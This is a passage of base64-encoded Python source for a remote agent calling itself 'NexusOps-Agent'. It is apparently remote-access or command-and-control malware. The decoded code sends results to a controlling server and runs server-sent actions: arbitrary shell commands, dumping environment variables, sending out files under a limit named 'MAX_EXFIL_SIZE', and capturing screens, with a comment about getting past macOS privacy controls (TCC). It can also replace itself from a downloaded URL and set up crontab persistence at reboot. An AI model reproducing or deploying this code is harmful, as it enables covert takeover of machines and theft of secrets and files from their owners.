AgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigiam91cm5hbGN0bCAtbiA1IC0tbm8tcGFnZXIgLW8gc2hvcnQtaXNvIiwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGlmIHJlcy5yZXR1cm5jb2RlID09IDAgYW5kIHJlcy5zdGRvdXQ6CiAgICAgICAgICAgICAgICBmb3IgbGluZSBpbiByZXMuc3Rkb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgICAgICBpZiBsaW5lLnN0cmlwKCk6CiAgICAgICAgICAgICAgICAgICAgICAgIGxvZ19lbnRyaWVzLmFwcGVuZChsaW5lLnN0cmlwKCkpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICByZXMgPSBzdWJwcm9jZXNzLnJ1bigicG93ZXJzaGVsbCBHZXQtRXZlbnRMb2cgLUxvZ05hbWUgU3lzdGVtIC1OZXdlc3QgMyB8IFNlbGVjdC1PYmplY3QgLUV4cGFuZFByb3BlcnR5IE1lc3NhZ2UiLCBzaGVsbD1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgaWYgcmVzLnJldHVybmNvZGUgPT0gMCBhbmQgcmVzLnN0ZG91dDoKICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIHJlcy5zdGRvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgICAgIGlmIGxpbmUuc3RyaXAoKToKICAgICAgICAgICAgICAgICAgICAgICAgbG9nX2VudHJpZXMuYXBwZW5kKGxpbmUuc3RyaXAoKSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIGxvZ19lbnRyaWVzCgpkZWYgaHR0cF9wb3N0KHVybCwgZGF0YV9kaWN0KToKICAgIGpzb25fYnl0ZXMgPSBqc29uLmR1bXBzKGRhdGFfZGljdCkuZW5jb2RlKCd1dGYtOCcpCiAgICByZXEgPSB1cmxsaWIucmVxdWVzdC5SZXF1ZXN0KAogICAgICAgIHVybCwKICAgICAgICBkYXRhPWpzb25fYnl0ZXMsCiAgICAgICAgaGVhZGVycz17CiAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicsCiAgICAgICAgICAgICdVc2VyLUFnZW50JzogJ05leHVzT3BzLUFnZW50LzEuMCcKICAgICAgICB9CiAgICApCiAgICB0cnk6CiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD01KSBhcyByZXNwb25zZToKICAgICAgICAgICAgcmVzX3RleHQgPSByZXNwb25zZS5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpCiAgICAgICAgICAgIHJldHVybiBqc29uLmxvYWRzKHJlc190ZXh0KQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIHByaW50KGYnWyFdIEhUVFAgUE9TVCBmYWlsZWQgKHt1cmx9KToge2V9JywgZmx1c2g9VHJ1ZSkKICAgICAgICByZXR1cm4gTm9uZQoKZGVmIGV4ZWN1dGVfc3RydWN0dXJlZF9hY3Rpb24oYWN0aW9uX3R5cGUsIHBheWxvYWQpOgogICAgZ2xvYmFsIGhlYXJ0YmVhdF9pbnRlcnZhbCwgbm9kZV90YWdzCiAgICBzeXN0ZW0gPSBwbGF0Zm9ybS5zeXN0ZW0oKS5sb3dlcigpCiAgICAKICAgIGlmIGFjdGlvbl90eXBlID09ICJyYXdfY29tbWFuZCI6CiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChwYXlsb2FkLmdldCgiY29tbWFuZCIsICIiKSkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJtYW5hZ2Vfc2VydmljZSI6CiAgICAgICAgc2VydmljZSA9IHBheWxvYWQuZ2V0KCJzZXJ2aWNlIikKICAgICAgICBhY3Rpb24gPSBwYXlsb2FkLmdldCgiYWN0aW9uIikKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gZiJzeXN0ZW1jdGwge2FjdGlvbn0ge3NlcnZpY2V9IgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgY21kID0gZiJwb3dlcnNoZWxsIHthY3Rpb259LVNlcnZpY2UgLU5hbWUge3NlcnZpY2V9IgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIGNtZCA9IGYibGF1bmNoY3RsIHthY3Rpb259IHtzZXJ2aWNlfSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJsaXN0X3Byb2Nlc3NlcyI6CiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgIGNtZCA9ICJwcyBhdXggLS1zb3J0PS0lY3B1IHwgaGVhZCAtbiAxNSIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgY21kID0gInBzIGF1eCAtciB8IGhlYWQgLW4gMTUiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInRhc2tsaXN0IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImtpbGxfcHJvY2VzcyI6CiAgICAgICAgcGlkID0gcGF5bG9hZC5nZXQoInBpZCIpCiAgICAgICAgY21kID0gZiJ0YXNra2lsbCAvRiAvUElEIHtwaWR9IiBpZiBzeXN0ZW0gPT0gIndpbmRvd3MiIGVsc2UgZiJraWxsIC05IHtwaWR9IgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImdldF9sb2dzIjoKICAgICAgICBsaW5lcyA9IHBheWxvYWQuZ2V0KCJsaW5lcyIsIDUwKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtbiB7bGluZXN9IC0tbm8tcGFnZXIiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgInBvd2Vyc2hlbGwgR2V0LUV2ZW50TG9nIC1Mb2dOYW1lIFN5c3RlbSAtTmV3ZXN0IDUwIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gIm5ldHdvcmtfc3RhdHMiOgogICAgICAgIGNtZCA9ICJzcyAtdHVscG4gfHwgbmV0c3RhdCAtdHVsbiIgaWYgc3lzdGVtID09ICJsaW51eCIgZWxzZSAibmV0c3RhdCAtYW5vIgogICAgICAgIHJldHVybiBydW5fc2hlbGwoY21kKQoKICAgICMgMTAgTkVXIENST1NTLVBMQVRGT1JNIEZFQVRVUkVTOgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2Vudl92YXJzIjoKICAgICAgICBlbnZfc3RyID0gIlxuIi5qb2luKFtmIntrfT17dn0iIGZvciBrLCB2IGluIG9zLmVudmlyb24uaXRlbXMoKV0pCiAgICAgICAgcmV0dXJuIGVudl9zdHIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfZGlza19wYXJ0aXRpb25zIjoKICAgICAgICBjbWQgPSAiZGYgLWgiIGlmIHN5c3RlbSAhPSAid2luZG93cyIgZWxzZSAid21pYyBsb2dpY2FsZGlzayBnZXQgY2FwdGlvbixkZXNjcmlwdGlvbixmcmVlc3BhY2Usc2l6ZSIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJnZXRfbmV0d29ya19pbnRlcmZhY2VzIjoKICAgICAgICBjbWQgPSAiaXAgYWRkciBzaG93IHx8IGlmY29uZmlnIiBpZiBzeXN0ZW0gIT0gIndpbmRvd3MiIGVsc2UgImlwY29uZmlnIC9hbGwiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2FjdGl2ZV9jb25uZWN0aW9ucyI6CiAgICAgICAgY21kID0gInNzIC1zdGF0ZSBlc3RhYmxpc2hlZCB8fCBuZXRzdGF0IC1hbiIgaWYgc3lzdGVtICE9ICJ3aW5kb3dzIiBlbHNlICJuZXRzdGF0IC1hbiB8IGZpbmRzdHIgRVNUQUJMSVNIRUQiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAiZ2V0X2hhcmR3YXJlX3NwZWNzIjoKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgY21kID0gImxzY3B1IHx8IGNhdCAvcHJvYy9jcHVpbmZvIHwgaGVhZCAtbiAyMCIKICAgICAgICBlbGlmIHN5c3RlbSA9PSAid2luZG93cyI6CiAgICAgICAgICAgIGNtZCA9ICJ3bWljIGNwdSBnZXQgbmFtZSxudW1iZXJvZmNvcmVzLG1heGNsb2Nrc3BlZWQiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgY21kID0gInN5c2N0bCAtYSB8IGdyZXAgbWFjaGRlcC5jcHUiCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAicmVib290X3N5c3RlbSI6CiAgICAgICAgY21kID0gInNodXRkb3duIC9yIC90IDUiIGlmIHN5c3RlbSA9PSAid2luZG93cyIgZWxzZSAicmVib290IHx8IHNodXRkb3duIC1yIG5vdyIKICAgICAgICByZXR1cm4gcnVuX3NoZWxsKGNtZCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzZXRfaGVhcnRiZWF0X3JhdGUiOgogICAgICAgIHJhdGUgPSBpbnQocGF5bG9hZC5nZXQoImludGVydmFsIiwgNSkpCiAgICAgICAgaGVhcnRiZWF0X2ludGVydmFsID0gbWF4KDIsIG1pbig2MCwgcmF0ZSkpCiAgICAgICAgcmV0dXJuIGYiSGVhcnRiZWF0IGludGVydmFsIHVwZGF0ZWQgdG8ge2hlYXJ0YmVhdF9pbnRlcnZhbH0gc2Vjb25kcyIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfdGFncyI6CiAgICAgICAgdGFnc19yYXcgPSBwYXlsb2FkLmdldCgidGFncyIsICIiKQogICAgICAgIG5vZGVfdGFncyA9IFt0LnN0cmlwKCkgZm9yIHQgaW4gdGFnc19yYXcuc3BsaXQoJywnKSBpZiB0LnN0cmlwKCldCiAgICAgICAgcmV0dXJuIGYiTm9kZSB0YWdzIHVwZGF0ZWQgdG86IHtub2RlX3RhZ3N9IiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gInNlYXJjaF9sb2dzIjoKICAgICAgICBwYXR0ZXJuID0gcGF5bG9hZC5nZXQoInBhdHRlcm4iLCAiZXJyb3IiKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtLW5vLXBhZ2VyIHwgZ3JlcCAtaSAne3BhdHRlcm59JyB8IHRhaWwgLW4gMzAiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgZiJwb3dlcnNoZWxsIEdldC1FdmVudExvZyAtTG9nTmFtZSBTeXN0ZW0gLU5ld2VzdCAxMDAgfCBXaGVyZS1PYmplY3QgTWVzc2FnZSAtbWF0Y2ggJ3twYXR0ZXJufSciCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAia2lsbF9hZ2VudCI6CiAgICAgICAgcHJpbnQoIlshXSBLaWxsIHN3aXRjaCByZWNlaXZlZCDigJQgc2h1dHRpbmcgZG93biBhZ2VudCIpCiAgICAgICAgb3MuX2V4aXQoMCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJwaW5nX2NoZWNrIjoKICAgICAgICBzZW50X3RzID0gcGF5bG9hZC5nZXQoInRpbWVzdGFtcCIsIDApCiAgICAgICAgbGF0ZW5jeV9tcyA9IGludCgodGltZS50aW1lKCkgKiAxMDAwKSAtIHNlbnRfdHMpIGlmIHNlbnRfdHMgZWxzZSAwCiAgICAgICAgcmV0dXJuIGYiUE9ORyDigJQgbGF0ZW5jeToge2xhdGVuY3lfbXN9bXMsIGhvc3RuYW1lOiB7c29ja2V0LmdldGhvc3RuYW1lKCl9LCB1cHRpbWU6IHtnZXRfdXB0aW1lX3NlY29uZHMoKX1zIiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImRvd25sb2FkX2ZpbGUiOgogICAgICAgIE1BWF9FWEZJTF9TSVpFID0gNTAgKiAxMDI0ICogMTAyNCAgIyA1ME1CIGxpbWl0CiAgICAgICAgZmlsZXBhdGggPSBwYXlsb2FkLmdldCgicGF0aCIsICIiKQogICAgICAgIGlmIG5vdCBmaWxlcGF0aCBvciBub3Qgb3MucGF0aC5leGlzdHMoZmlsZXBhdGgpOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUjogZmlsZSBub3QgZm91bmQ6IHtmaWxlcGF0aH0iLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBmc2l6ZSA9IG9zLnBhdGguZ2V0c2l6ZShmaWxlcGF0aCkKICAgICAgICAgICAgaWYgZnNpemUgPiBNQVhfRVhGSUxfU0laRToKICAgICAgICAgICAgICAgIHJldHVybiBmIkVSUk9SOiBmaWxlIHRvbyBsYXJnZSAoe2ZzaXplfSBieXRlcywgbWF4IHtNQVhfRVhGSUxfU0laRX0pIiwgMQogICAgICAgICAgICB3aXRoIG9wZW4oZmlsZXBhdGgsICdyYicpIGFzIGY6CiAgICAgICAgICAgICAgICByYXcgPSBmLnJlYWQoKQogICAgICAgICAgICBpbXBvcnQgYmFzZTY0CiAgICAgICAgICAgIGI2NCA9IGJhc2U2NC5iNjRlbmNvZGUocmF3KS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgIyBEZXRlcm1pbmUgTUlNRSAoYmFzaWMpCiAgICAgICAgICAgIGV4dCA9IG9zLnBhdGguc3BsaXRleHQoZmlsZXBhdGgpWzFdLmxvd2VyKCkKICAgICAgICAgICAgbWltZV9tYXAgPSB7Jy50eHQnOid0ZXh0L3BsYWluJywnLmxvZyc6J3RleHQvcGxhaW4nLCcuY29uZic6J3RleHQvcGxhaW4nLAogICAgICAgICAgICAgICAgICAgICAgICAnLnBuZyc6J2ltYWdlL3BuZycsJy5qcGcnOidpbWFnZS9qcGVnJywnLmpwZWcnOidpbWFnZS9qcGVnJywKICAgICAgICAgICAgICAgICAgICAgICAgJy5wZGYnOidhcHBsaWNhdGlvbi9wZGYnLCcuZG9jJzonYXBwbGljYXRpb24vbXN3b3JkJywnLmRvY3gnOidhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuemlwJzonYXBwbGljYXRpb24vemlwJywnLnRhcic6J2FwcGxpY2F0aW9uL3gtdGFyJywnLmd6JzonYXBwbGljYXRpb24vZ3ppcCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuc3FsJzondGV4dC9wbGFpbicsJy5kYic6J2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsJy5zcWxpdGUnOidhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nfQogICAgICAgICAgICBtaW1lID0gbWltZV9tYXAuZ2V0KGV4dCwgJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpCiAgICAgICAgICAgIGZpbGVuYW1lID0gb3MucGF0aC5iYXNlbmFtZShmaWxlcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZmlsZW5hbWUsIm1pbWUiOm1pbWUsImRhdGEiOmI2NH0pLCAwCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUiByZWFkaW5nIGZpbGU6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzY3JlZW5zaG90IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBiYXNlNjQKICAgICAgICAgICAgc3NfcGF0aCA9ICIvdG1wLy5uZXh1cy1zcy5wbmciCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpOgogICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCgogICAgICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgICAgIGZvciB0b29sIGluIFsiaW1wb3J0IiwgInNjcm90IiwgImdub21lLXNjcmVlbnNob3QiLCAic3BlY3RhY2xlIl06CiAgICAgICAgICAgICAgICAgICAgaWYgc3VicHJvY2Vzcy5ydW4oWyJ3aGljaCIsIHRvb2xdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKS5yZXR1cm5jb2RlID09IDA6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIHRvb2wgPT0gImltcG9ydCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImltcG9ydCIsICItd2luZG93IiwgInJvb3QiLCBzc19wYXRoXSwgdGltZW91dD0xMCwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzY3JvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInNjcm90Iiwgc3NfcGF0aF0sIHRpbWVvdXQ9MTApCiAgICAgICAgICAgICAgICAgICAgICAgIGVsaWYgdG9vbCA9PSAiZ25vbWUtc2NyZWVuc2hvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImdub21lLXNjcmVlbnNob3QiLCAiLWYiLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzcGVjdGFjbGUiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJzcGVjdGFjbGUiLCAiLWIiLCAiLW4iLCAiLW8iLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInB5dGhvbjMiLCAiLWMiLAogICAgICAgICAgICAgICAgICAgICAgICAiZnJvbSBYbGliIGltcG9ydCBkaXNwbGF5O2Zyb20gUElMIGltcG9ydCBJbWFnZTtkPWRpc3BsYXkuRGlzcGxheSgpO3I9ZC5zY3JlZW4oKS5yb290OyIKICAgICAgICAgICAgICAgICAgICAgICAgImc9ci5nZXRfZ2VvbWV0cnkoKTtyYXc9ci5nZXRfaW1hZ2UoMCwwLGcud2lkdGgsZy5oZWlnaHQsWGxpYi5YLlpQaXhtYXAsMHhmZmZmZmZmZik7IgogICAgICAgICAgICAgICAgICAgICAgICAiaW1nPUltYWdlLmZyb21ieXRlcygnUkdCJywoZy53aWR0aCxnLmhlaWdodCkscmF3LmRhdGEsJ3JhdycsJ0JHUlgnKTtpbWcuc2F2ZSgnL3RtcC8ubmV4dXMtc3MucG5nJykiXSwKICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKCiAgICAgICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICAgICAgIyBUcnkgbXVsdGlwbGUgYXBwcm9hY2hlcyBmb3IgbWFjT1Mgc2NyZWVuc2hvdAogICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBGYWxzZQogICAgICAgICAgICAgICAgIyBNZXRob2QgMTogZGlyZWN0IHNjcmVlbmNhcHR1cmUgKG5lZWRzIFNjcmVlbiBSZWNvcmRpbmcgVENDIHBlcm1pc3Npb24pCiAgICAgICAgICAgICAgICBmb3IgZmxhZ3MgaW4gW1siLXgiLCAiLUMiLCAiLW0iXSwgWyIteCIsICItQyJdLCBbIi14Il0sIFsiLUMiLCAiLW0iXV06CiAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsic2NyZWVuY2FwdHVyZSJdICsgZmxhZ3MgKyBbc3NfcGF0aF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpbWVvdXQ9MTAsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICBjYXB0dXJlZCA9IFRydWUKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCiAgICAgICAgICAgICAgICAjIE1ldGhvZCAyOiB0cnkgdmlhIG9zYXNjcmlwdCAoc29tZXRpbWVzIGJ5cGFzc2VzIFRDQyBmb3IgYmFja2dyb3VuZCBwcm9jZXNzZXMpCiAgICAgICAgICAgICAgICBpZiBub3QgY2FwdHVyZWQ6CiAgICAgICAgICAgICAgICAgICAgZm9yIGZsYWdzIGluIFtbIi14IiwgIi1DIiwgIi1tIl0sIFsiLXgiLCAiLUMiXSwgWyIteCJdXToKICAgICAgICAgICAgICAgICAgICAgICAgZmxhZ19zdHIgPSAiICIuam9pbihmbGFncykKICAgICAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsib3Nhc2NyaXB0IiwgIi1lIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYnZG8gc2hlbGwgc2NyaXB0ICJzY3JlZW5jYXB0dXJlIHtmbGFnX3N0cn0ge3NzX3BhdGh9IiddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBUcnVlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQoKICAgICAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJwb3dlcnNoZWxsIiwgIi1Db21tYW5kIiwKICAgICAgICAgICAgICAgICAgICAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3Jtczskcz1bV2luZG93cy5Gb3Jtcy5TY3JlZW5dOjpQcmltYXJ5U2NyZWVuLkJvdW5kczsiCiAgICAgICAgICAgICAgICAgICAgIiRiPU5ldy1PYmplY3QgRHJhd2luZy5CaXRtYXAoJHMuV2lkdGgsJHMuSGVpZ2h0KTsiCiAgICAgICAgICAgICAgICAgICAgIiRnPVtEcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltYWdlKCRiKTskZy5Db3B5RnJvbVNjcmVlbigwLDAsMCwwLCRiLlNpemUpOyIKICAgICAgICAgICAgICAgICAgICAiJGIuU2F2ZSgnQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZycpOyRnLkRpc3Bvc2UoKTskYi5EaXNwb3NlKCkiXSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PTE1KQogICAgICAgICAgICAgICAgd2luX3BhdGggPSAiQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZyIKICAgICAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHdpbl9wYXRoKToKICAgICAgICAgICAgICAgICAgICBvcy5yZXBsYWNlKHdpbl9wYXRoLCBzc19wYXRoKQoKICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oc3NfcGF0aCwgJ3JiJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICBiNjQgPSBiYXNlNjQuYjY0ZW5jb2RlKGYucmVhZCgpKS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQogICAgICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZiJzY3JlZW5zaG90LXtpbnQodGltZS50aW1lKCkpfS5wbmciLCJtaW1lIjoiaW1hZ2UvcG5nIiwiZGF0YSI6YjY0fSksIDAKICAgICAgICAgICAgcmV0dXJuICJFUlJPUjogc2NyZWVuc2hvdCBibG9ja2VkIGJ5IG1hY09TIFRDQyDigJQgZ3JhbnQgU2NyZWVuIFJlY29yZGluZyBwZXJtaXNzaW9uIHRvIHB5dGhvbjMgaW4gU3lzdGVtIFNldHRpbmdzID4gUHJpdmFjeSAmIFNlY3VyaXR5ID4gU2NyZWVuIFJlY29yZGluZyIsIDEKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgIHJldHVybiBmIkVSUk9SIHNjcmVlbnNob3Q6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfYWdlbnQiOgogICAgICAgIG5ld191cmwgPSBwYXlsb2FkLmdldCgidXJsIiwgIiIpCiAgICAgICAgaWYgbm90IG5ld191cmw6CiAgICAgICAgICAgIHJldHVybiAiRVJST1I6IG5vIHVwZGF0ZSBVUkwgcHJvdmlkZWQiLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBteV9wYXRoID0gb3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKQogICAgICAgICAgICBiYWsgPSBteV9wYXRoICsgIi5iYWsiCiAgICAgICAgICAgIG9zLnJlbmFtZShteV9wYXRoLCBiYWspCiAgICAgICAgICAgIHVybGxpYi5yZXF1ZXN0LnVybHJldHJpZXZlKG5ld191cmwsIG15X3BhdGgpCiAgICAgICAgICAgIG9zLmNobW9kKG15X3BhdGgsIDBvNzU1KQogICAgICAgICAgICBvcy5yZW1vdmUoYmFrKQogICAgICAgICAgICByZXR1cm4gIkFnZW50IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LiBSZXN0YXJ0aW5nLi4uIiwgMAogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgIyBSZXN0b3JlIGJhY2t1cAogICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhiYWspOgogICAgICAgICAgICAgICAgb3MucmVuYW1lKGJhaywgbXlfcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGYiRVJST1IgdXBkYXRlIGZhaWxlZDoge2V9IiwgMQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImVuc3VyZV9wZXJzaXN0ZW5jZSI6CiAgICAgICAgcmVzdWx0cyA9IFtdCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgICMgY3JvbnRhYgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIg